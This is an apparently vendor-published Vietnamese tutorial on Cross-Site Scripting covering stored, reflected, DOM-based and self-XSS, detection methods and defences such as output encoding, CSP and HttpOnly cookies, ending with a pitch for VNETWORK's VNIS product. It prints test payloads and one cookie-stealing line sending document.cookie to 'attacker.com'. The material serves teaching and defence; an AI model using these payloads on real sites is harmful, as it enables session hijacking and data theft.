XSS là gì? Cơ chế tấn công và cách phòng chống Cross-Site Scripting

1. XSS là gì?

XSS, viết tắt của Cross-Site Scripting, là lỗ hổng bảo mật phía client-side cho phép kẻ tấn công chèn đoạn mã độc hại (thường là JavaScript) vào các trang web hợp lệ. Khi người dùng truy cập trang có chứa mã độc này, trình duyệt sẽ thực thi script như thể đó là một phần bình thường của trang, từ đó trao cho kẻ tấn công khả năng can thiệp vào phiên làm việc của nạn nhân mà không cần phá vỡ bất cứ cơ chế xác thực nào.

Điểm mấu chốt cần hiểu rõ: XSS không tấn công server. XSS khai thác niềm tin của trình duyệt người dùng vào website mà họ đang truy cập. Đây là lý do XSS thuộc nhóm lỗi bảo mật web phức tạp và nguy hiểm hàng đầu, bởi vector tấn công nằm ở phía nạn nhân, không phải hạ tầng. Bất kỳ ứng dụng web nào nhận dữ liệu từ người dùng và hiển thị lại ra màn hình mà không xử lý đúng cách đều tiềm ẩn nguy cơ XSS. Đây cũng là lý do XSS liên tục có mặt trong danh sách OWASP Top 10 qua nhiều năm liên tiếp, được xếp vào nhóm rủi ro nghiêm trọng nhất với ứng dụng web toàn cầu.

Khác với SQL Injection nhắm vào cơ sở dữ liệu phía server, XSS nhắm trực tiếp vào người dùng cuối. Sự khác biệt này khiến tác hại của XSS lan rộng theo số lượng người dùng của ứng dụng, không giới hạn ở một điểm tấn công duy nhất. Một ứng dụng có hàng triệu người dùng bị dính lỗ hổng XSS nghĩa là hàng triệu người dùng đó đều có thể trở thành nạn nhân chỉ từ một payload duy nhất được chèn vào đúng chỗ.

2. Cơ chế hoạt động của tấn công XSS

Để hiểu XSS hoạt động như thế nào, cần hình dung toàn bộ luồng từ lúc kẻ tấn công tìm ra điểm yếu đến khi nạn nhân bị khai thác:

• Bước 1 - Tìm điểm đầu vào không được lọc: Kẻ tấn công rà soát các field nhận dữ liệu từ người dùng như ô tìm kiếm, form bình luận, trường URL parameter, header HTTP hoặc bất kỳ input nào được phản chiếu lại trên giao diện.
• Bước 2 - Chèn payload độc hại: Script được nhúng vào giá trị input. Payload đơn giản nhất dùng để kiểm tra lỗ hổng là:

<script>alert('XSS')</script>

Nếu website hiển thị hộp thoại alert thay vì render đúng chuỗi ký tự, ứng dụng đang tồn tại lỗ hổng XSS. Đây là kỹ thuật proof-of-concept cơ bản nhất mà bất kỳ developer hay security tester nào cũng cần biết.

• Bước 3 - Trình duyệt thực thi mã độc: Người dùng truy cập trang có chứa payload. Trình duyệt không phân biệt được đâu là script hợp lệ, đâu là mã được chèn vào, và thực thi toàn bộ theo thứ tự xuất hiện trong trang.
• Bước 4 - Thu thập dữ liệu hoặc thực hiện hành vi bất hợp pháp: Kẻ tấn công đánh cắp cookie, session token, thông tin đăng nhập, hoặc thực hiện các hành động thay mặt nạn nhân mà nạn nhân hoàn toàn không hay biết.

Điểm khiến XSS đặc biệt nguy hiểm là toàn bộ quá trình này có thể diễn ra trong im lặng, không có bất kỳ dấu hiệu bất thường nào trên giao diện. Nạn nhân tiếp tục duyệt web bình thường trong khi script đã âm thầm hoàn thành nhiệm vụ của kẻ tấn công.

3. Các loại tấn công XSS và đặc điểm nhận biết

XSS không phải là một kỹ thuật đơn lẻ mà là nhóm kỹ thuật tấn công có cùng bản chất nhưng khác nhau về cơ chế kích hoạt và mức độ nguy hiểm. Hiểu rõ từng biến thể giúp đội kỹ thuật lựa chọn đúng biện pháp kiểm tra và phòng thủ.

3.1 Stored XSS (Persistent XSS)

Stored XSS là biến thể nguy hiểm nhất trong ba loại. Payload độc hại được lưu vĩnh viễn vào cơ sở dữ liệu của ứng dụng, thường qua các tính năng như form bình luận, bài đăng diễn đàn, hồ sơ người dùng, tiêu đề sản phẩm hoặc bất kỳ nội dung nào do người dùng tạo ra và được lưu trữ.

Ví dụ minh họa: Hacker nhập đoạn mã sau vào ô bình luận của một website thương mại điện tử:

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Nếu website lưu thẳng nội dung này vào database mà không xử lý, mỗi người dùng truy cập trang bình luận đó sẽ bị tự động chuyển hướng, cookie phiên đăng nhập bị gửi ngầm về server của kẻ tấn công. Đây là kiểu tấn công one-payload-many-victims: một lần chèn mã, toàn bộ người đọc đều trở thành nạn nhân mà không cần bất kỳ sự tương tác nào thêm từ phía hacker.

Stored XSS đặc biệt nguy hiểm với các nền tảng có lượng người dùng lớn như mạng xã hội, diễn đàn, hệ thống quản lý nội dung, hay các ứng dụng nội bộ doanh nghiệp nơi người dùng có mức độ tin tưởng cao vào nội dung hiển thị.

3.2 Reflected XSS (Non-Persistent XSS)

Với Reflected XSS, payload không được lưu trên server. Script được nhúng trực tiếp vào URL hoặc request, sau đó server phản chiếu ngay lập tức về response mà không qua bộ lọc. Tên gọi "reflected" xuất phát từ đặc điểm này: server như một tấm gương, phản chiếu payload thẳng trở lại trình duyệt người dùng.

Kẻ tấn công tạo một URL có chứa payload, rồi phát tán qua email hoặc tin nhắn. Khi nạn nhân nhấp vào, trình duyệt gửi request kèm payload, server trả về response chứa script, và script thực thi ngay. Ví dụ một URL mang payload Reflected XSS điển hình:

https://example.com/search?q=<script>alert(document.cookie)</script>

Nếu trang kết quả tìm kiếm render tham số q thẳng vào HTML mà không encode, script sẽ thực thi ngay khi nạn nhân truy cập link trên. Reflected XSS cần trick nạn nhân nhấp vào link độc hại nên thường kết hợp với kỹ thuật phishing để tăng hiệu quả tấn công. Dù nguy hiểm theo kiểu one-to-one thay vì one-to-many như Stored XSS, Reflected XSS vẫn được khai thác rộng rãi bởi dễ triển khai và khó để lại dấu vết trên server.

3.3 DOM-based XSS (XSS Type 0)

DOM-based XSS là biến thể kỹ thuật nhất trong ba loại. Toàn bộ vòng tấn công diễn ra phía client, không thông qua server. Payload khai thác cách JavaScript xử lý DOM của trang thông qua các thuộc tính như document.location, document.write, innerHTML hoặc hàm eval().

Ví dụ điển hình về đoạn JavaScript dễ bị tổn thương:

// Code JavaScript dễ bị tổn thương — DOM-based XSS
var search = document.location.hash.substring(1); // lấy giá trị sau dấu #
document.getElementById('result').innerHTML = search; // ghi thẳng vào DOM — NGUY HIỂM

Kẻ tấn công chỉ cần gửi cho nạn nhân một URL như sau:

https://example.com/page#<img src=x onerror=alert(document.cookie)>

JavaScript trên trang đọc phần sau dấu # (không bao giờ gửi lên server) rồi ghi thẳng vào innerHTML. Trình duyệt thực thi thẻ img lỗi, kích hoạt onerror, và cookie bị lộ. Cách khắc phục đơn giản nhất là thay innerHTML bằng textContent:

// Phiên bản an toàn — dùng textContent thay vì innerHTML
var search = document.location.hash.substring(1);
document.getElementById('result').textContent = search; // chỉ render text, không execute

Vì server không bao giờ nhìn thấy payload, server log không ghi lại dấu vết gì. Điều này khiến DOM-based XSS trở thành thách thức lớn nhất cho các công cụ bảo mật truyền thống vốn hoạt động theo mô hình kiểm tra request/response. Phát hiện DOM-based XSS đòi hỏi phân tích tĩnh code JavaScript hoặc các công cụ DAST chuyên biệt có khả năng mô phỏng hành vi trình duyệt.

3.4 Self-XSS 

Ngoài ba loại chính, Self-XSS là một dạng tấn công xã hội (social engineering) đặc thù. Hacker không chèn script vào website mà thay vào đó lừa nạn nhân tự paste đoạn mã độc vào console trình duyệt của chính họ, thường với lý do "kích hoạt tính năng đặc biệt" hoặc "lấy phần thưởng". Khi nạn nhân thực thi, script chạy với quyền đầy đủ trong phiên đăng nhập hiện tại. Self-XSS nhắm vào người dùng thiếu kiến thức kỹ thuật và không thể bị ngăn chặn bằng các biện pháp bảo mật phía server.

4. Hậu quả của lỗ hổng XSS với doanh nghiệp

Tác động của XSS không dừng ở mức kỹ thuật. Khi lỗ hổng XSS bị khai thác thành công, doanh nghiệp đối mặt với một loạt rủi ro nghiêm trọng trên nhiều chiều. Malware có thể được phân phát đến toàn bộ người dùng thông qua chính website của doanh nghiệp, biến hệ thống vốn là tài sản thành vũ khí chống lại khách hàng.

• Chiếm đoạt phiên đăng nhập (session hijacking): Kẻ tấn công đánh cắp cookie xác thực và giả mạo người dùng, thực hiện mọi thao tác với toàn bộ quyền của nạn nhân, bao gồm chuyển tiền, thay đổi mật khẩu, xóa dữ liệu.
• Đánh cắp thông tin nhạy cảm: Dữ liệu tài khoản, thông tin thanh toán, dữ liệu cá nhân bị thu thập thầm lặng mà nạn nhân không có cách nào phát hiện trong thời gian thực.
• Chiếm quyền quản trị: Nếu tài khoản bị chiếm là admin hoặc có quyền cao, toàn bộ hệ thống có thể rơi vào tay kẻ tấn công, mở đường cho các cuộc tấn công chuỗi tiếp theo.
• Keylogging và credential harvesting: Script XSS có thể cài bẫy theo dõi từng phím bấm của người dùng, thu thập thông tin đăng nhập của nhiều tài khoản khác nhau mà nạn nhân sử dụng trong cùng phiên trình duyệt.
• Rủi ro pháp lý và tuân thủ: Data breach liên quan đến thông tin người dùng vi phạm các quy định bảo vệ dữ liệu cá nhân, dẫn đến trách nhiệm pháp lý, chi phí xử lý sự cố và các khoản phạt theo quy định pháp luật.
• Mất uy tín thương hiệu: Website trở thành công cụ tấn công chính người dùng tin tưởng sử dụng dịch vụ. Thiệt hại về danh tiếng thường kéo dài và khó phục hồi hơn nhiều so với thiệt hại kỹ thuật.

Một điểm quan trọng cần nhấn mạnh với doanh nghiệp: thời gian từ khi lỗ hổng XSS bị khai thác đến khi đội kỹ thuật phát hiện thường rất dài, đặc biệt với Stored XSS và DOM-based XSS. Kẻ tấn công có thể âm thầm thu thập dữ liệu trong nhiều tuần hoặc nhiều tháng trước khi bị phát hiện.

5. Vì sao doanh nghiệp dễ bị tấn công XSS?

Có nhiều nguyên nhân khiến các ứng dụng web trở thành “mục tiêu dễ dàng” của tấn công XSS.

• Thiếu kiểm tra dữ liệu đầu vào: Đây là lỗi phổ biến nhất. Khi ứng dụng không lọc hoặc mã hóa dữ liệu người dùng trước khi hiển thị lên trình duyệt, kẻ tấn công có thể lợi dụng để chèn đoạn mã độc hại.
• Không thiết lập HTTP header bảo mật: Những cấu hình như Content-Security-Policy (CSP) giúp giới hạn các nguồn nội dung được phép tải và thực thi trong trình duyệt. Việc bỏ qua lớp bảo vệ này khiến ứng dụng dễ dàng bị cài mã độc mà không bị chặn lại.
• Thói quen lập trình cũ: Nhiều hệ thống vẫn sử dụng trực tiếp dữ liệu người dùng trong HTML mà không qua xử lý, nhất là với những dự án cũ hoặc code “chắp vá” qua nhiều năm, làm tăng nguy cơ xuất hiện lỗ hổng XSS.
• Thiếu hệ thống bảo vệ tầng ứng dụng (WAF): Không có lớp tường lửa web (Web Application Firewall) khiến doanh nghiệp khó phát hiện và ngăn chặn kịp thời các request chứa mã độc trước khi chúng tấn công vào máy chủ.

Nhiều báo cáo bảo mật gần đây vẫn xếp XSS vào nhóm lỗ hổng hàng đầu của ứng dụng web, cho thấy nó vẫn là một mối nguy phổ biến mà doanh nghiệp cần ưu tiên khắc phục!

6. Cách phát hiện lỗ hổng XSS trong ứng dụng web

6.1 Kiểm tra thủ công với payload cơ bản

Cách tiếp cận đơn giản nhất là nhập payload vào từng field đầu vào của ứng dụng. Với mỗi ô input, form, URL parameter, thử lần lượt các chuỗi test:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
javascript:alert(1)

Nếu ứng dụng thực thi script thay vì hiển thị chuỗi text thuần, điểm đó tồn tại lỗ hổng XSS. Kiểm tra thủ công phù hợp cho ứng dụng quy mô nhỏ hoặc khi cần xác minh nhanh một endpoint cụ thể. Lưu ý: chỉ thực hiện kiểm tra trên môi trường staging hoặc sau khi được ủy quyền rõ ràng.

6.2 Sử dụng công cụ DAST và tích hợp CI/CD

Với ứng dụng lớn có nhiều endpoint, kiểm tra thủ công không đủ bao phủ. Dynamic Application Security Testing (DAST) tự động crawl và thử nghiệm hàng nghìn payload XSS trên toàn bộ bề mặt tấn công. Kết quả quét nên được tích hợp vào pipeline CI/CD để phát hiện lỗ hổng XSS ngay từ giai đoạn phát triển, trước khi code lên production. Ngoài ra, phân tích log của WAF cũng giúp nhận diện các payload XSS đang được thăm dò trong môi trường production thực tế.

Với DOM-based XSS, cần bổ sung phân tích tĩnh code JavaScript (SAST) vì DAST thông thường không mô phỏng được toàn bộ logic xử lý DOM phía client. Kết hợp DAST, SAST và kiểm tra thủ công tại các điểm rủi ro cao là chiến lược kiểm thử toàn diện nhất.

6.3 Phân tích source code và code review

Ở tầng phát triển, code review có mục tiêu bảo mật là lớp phòng thủ quan trọng. Cần tìm kiếm các pattern nguy hiểm như: sử dụng innerHTML, document.write, eval() với dữ liệu chưa được sanitize; render template với biến người dùng chưa được escape; các endpoint API trả về HTML thay vì JSON thuần. Xây dựng checklist bảo mật cụ thể cho từng ngôn ngữ và framework mà team đang sử dụng giúp chuẩn hóa quy trình review và giảm tỷ lệ bỏ sót.

7. Cách phòng chống tấn công XSS hiệu quả

Không có biện pháp đơn lẻ nào đủ để ngăn chặn hoàn toàn XSS. Chiến lược hiệu quả đòi hỏi nhiều lớp phòng thủ bổ trợ nhau, từ tầng code đến tầng hạ tầng.

7.1 Validate và encode đầu vào, đầu ra

Đây là nguyên tắc nền tảng: không bao giờ tin tưởng dữ liệu từ người dùng. Toàn bộ input cần được validate phía server (không chỉ phía client vì client-side validation có thể bị bypass), và quan trọng hơn, toàn bộ output phải được HTML-encode trước khi render ra trình duyệt.

Output encoding chuyển hóa ký tự đặc biệt thành HTML entity, khiến trình duyệt hiển thị đúng text thay vì thực thi code. Ví dụ trong Python/Flask:

# Python/Flask — encode output trước khi render
from markupsafe import escape
 
user_input = "<script>alert(1)</script>"
safe_output = escape(user_input)
# Kết quả: &lt;script&gt;alert(1)&lt;/script&gt;
# Trình duyệt hiển thị đúng text, không thực thi script

Encode phải được áp dụng theo ngữ cảnh: HTML encode cho nội dung trong thẻ HTML, JavaScript encode cho giá trị trong code JS, URL encode cho dữ liệu trong URL. Encode sai ngữ cảnh có thể vẫn bị bypass.

7.2 Content Security Policy (CSP)

CSP là lớp phòng thủ thứ hai, giúp hạn chế tối đa thiệt hại ngay cả khi payload XSS lọt qua tầng validation. CSP được thiết lập qua HTTP response header, chỉ định những nguồn nào được phép tải và thực thi script:

Content-Security-Policy: default-src 'self'; script-src 'self'

Cấu hình trên chặn hoàn toàn inline script và script từ domain ngoài. Kẻ tấn công có chèn được payload vào HTML cũng không thể thực thi vì trình duyệt từ chối tải script không có trong whitelist. Với ứng dụng phức tạp cần inline script, có thể dùng nonce hoặc hash thay vì cho phép toàn bộ:

Content-Security-Policy: script-src 'nonce-{random-value}'

CSP nên được triển khai ở chế độ report-only trước để thu thập vi phạm mà không chặn, sau đó mới chuyển sang enforce mode sau khi đã xác nhận không có false positive.

7.3 HttpOnly và Secure Cookie

Gắn flag HttpOnly vào cookie xác thực ngăn JavaScript đọc cookie, vô hiệu hóa kỹ thuật đánh cắp cookie phổ biến nhất của XSS. Flag Secure đảm bảo cookie chỉ được truyền qua kết nối HTTPS, tránh bị đánh chặn trong khi truyền tải. Kết hợp với SameSite để hạn chế CSRF. Đây là biện pháp tối thiểu bắt buộc với mọi ứng dụng có tính năng đăng nhập, bổ sung hiệu quả cùng với Firewall và các lớp bảo vệ hạ tầng khác.

7.4 Sử dụng framework và thư viện có tích hợp auto-escape

Các framework hiện đại như React, Vue, Angular, Django, Rails đều có cơ chế auto-escape mặc định khi render dữ liệu vào template. Tận dụng tối đa tính năng này thay vì bypass bằng dangerouslySetInnerHTML (React) hay v-html (Vue) trừ khi thực sự cần thiết và đã kiểm soát chặt đầu vào. Thiết lập linting rule tự động cảnh báo khi developer sử dụng các API nguy hiểm này giúp phát hiện rủi ro ngay từ giai đoạn code.

7.5 Subresource Integrity (SRI) cho script bên ngoài

Khi ứng dụng tải script từ CDN bên ngoài, cần thêm thuộc tính integrity với hash của file để trình duyệt xác minh nội dung không bị can thiệp. Nếu CDN bị xâm phạm và script bị thay đổi, SRI sẽ chặn việc tải file đã bị sửa đổi. Đây là biện pháp ít được áp dụng nhưng quan trọng với các ứng dụng phụ thuộc nhiều vào thư viện JavaScript bên ngoài.

8. VNIS - Giải pháp bảo vệ ứng dụng web toàn diện trước tấn công XSS

Dù đội kỹ thuật đã áp dụng đầy đủ các biện pháp bảo mật ở tầng code, thực tế vẫn tồn tại khoảng cách giữa lý thuyết và triển khai: codebase cũ thiếu encode, third-party plugin có lỗ hổng chưa được vá, hay điểm XSS zero-day chưa ai phát hiện. Đây là lý do một lớp bảo vệ độc lập ở tầng hạ tầng là không thể thiếu. 

VNIS (VNETWORK Internet Security) là nền tảng bảo mật Web/App/API của VNETWORK, được thiết kế để chủ động ngăn chặn tấn công XSS tại tầng mạng, trước khi payload tiếp cận server hay người dùng cuối. 

VNIS bảo vệ theo mô hình 2 lớp độc lập:

• Lớp hạ tầng: Ứng dụng AI Smart Load Balancing kết hợp Multi-CDN để phân tích và lọc lưu lượng bất thường ngay từ tầng mạng, loại bỏ request chứa payload XSS trước khi vào hệ thống.
• Lớp ứng dụng: Triển khai WAAP tích hợp AI để kiểm tra sâu từng request, nhận diện payload XSS thuộc cả ba biến thể Stored, Reflected và DOM-based, kể cả các payload đã bị obfuscate.

Đội ngũ SOC của VNETWORK giám sát 24/7 và liên tục cập nhật ruleset, giúp VNIS phản ứng kịp thời ngay với những biến thể zero-day chưa được công bố. Ngoài XSS, VNIS bảo vệ toàn diện trước DDoS đa tầng, bot độc hại và toàn bộ nhóm lỗ hổng trong OWASP Top 10, mà không yêu cầu thay đổi code phía ứng dụng.

9. Kết luận

Không có biện pháp đơn lẻ nào đủ hiệu quả; chỉ có chiến lược phòng thủ nhiều lớp mới đủ sức ngăn chặn XSS trong môi trường tấn công ngày càng tinh vi. Doanh nghiệp muốn xây dựng hệ thống bảo vệ ứng dụng web bài bản và toàn diện, hãy liên hệ VNETWORK để được tư vấn và triển khai giải pháp VNIS phù hợp với quy mô và yêu cầu thực tế.

FAQ - Câu hỏi thường gặp về tấn công XSS

1. XSS và CSRF khác nhau như thế nào?

XSS (Cross-Site Scripting) chèn mã độc vào website và thực thi trong trình duyệt nạn nhân, cho phép kẻ tấn công kiểm soát hành vi của trình duyệt. CSRF (Cross-Site Request Forgery) không chèn code mà lừa trình duyệt nạn nhân gửi request đến website theo ý muốn kẻ tấn công, thường khai thác phiên đăng nhập đang hoạt động. XSS nhắm vào client, CSRF nhắm vào server thông qua client. Hai lỗ hổng này có thể kết hợp với nhau: script XSS có thể được dùng để thực hiện tấn công CSRF.

2. Stored XSS hay Reflected XSS nguy hiểm hơn?

Stored XSS nguy hiểm hơn về quy mô tác động: payload được lưu vĩnh viễn và tự động kích hoạt với mọi người truy cập trang, không cần kẻ tấn công can thiệp thêm. Một payload duy nhất có thể ảnh hưởng hàng nghìn đến hàng triệu người dùng. Reflected XSS giới hạn hơn vì cần trick từng nạn nhân nhấp vào link độc hại. Tuy nhiên, Reflected XSS kết hợp chiến dịch phishing quy mô lớn vẫn có thể gây thiệt hại nghiêm trọng.

3. WAF có chặn được toàn bộ tấn công XSS không?

WAF cung cấp lớp phòng thủ hiệu quả bằng cách nhận diện và chặn các pattern XSS đã biết tại tầng mạng, trước khi payload tiếp cận ứng dụng. Tuy nhiên, WAF hoạt động tốt nhất khi kết hợp với output encoding và CSP ở tầng code. Kẻ tấn công có thể cố tình obfuscate payload để bypass WAF, vì vậy chiến lược Defense in Depth với nhiều lớp bảo vệ bổ trợ nhau là cách tiếp cận bảo mật toàn diện nhất.

4. Làm thế nào để kiểm tra website có lỗ hổng XSS không?

Bước đầu tiên: thử nhập payload cơ bản như <script>alert(1)</script> vào từng ô input của ứng dụng. Nếu hộp thoại alert xuất hiện, ứng dụng tồn tại lỗ hổng XSS. Để kiểm tra toàn diện hơn, dùng công cụ DAST để tự động quét toàn bộ endpoint và thử nghiệm nhiều biến thể payload. Với DOM-based XSS, cần bổ sung phân tích tĩnh code JavaScript. Ngoài ra, cấu hình WAF với chế độ learning giúp theo dõi các pattern đáng ngờ trong traffic thực tế.

5. XSS có ảnh hưởng đến ứng dụng mobile không?

Có, nếu ứng dụng mobile sử dụng WebView để render nội dung web hoặc giao tiếp qua API trả về HTML không được sanitize. WebView bị nhiễm XSS có thể bị khai thác để đánh cắp token xác thực, truy cập bộ nhớ thiết bị hoặc thực hiện các hành vi bất hợp pháp. Các ứng dụng hybrid như React Native, Flutter WebView hay Cordova cần áp dụng đầy đủ các biện pháp phòng chống XSS tương tự như ứng dụng web truyền thống.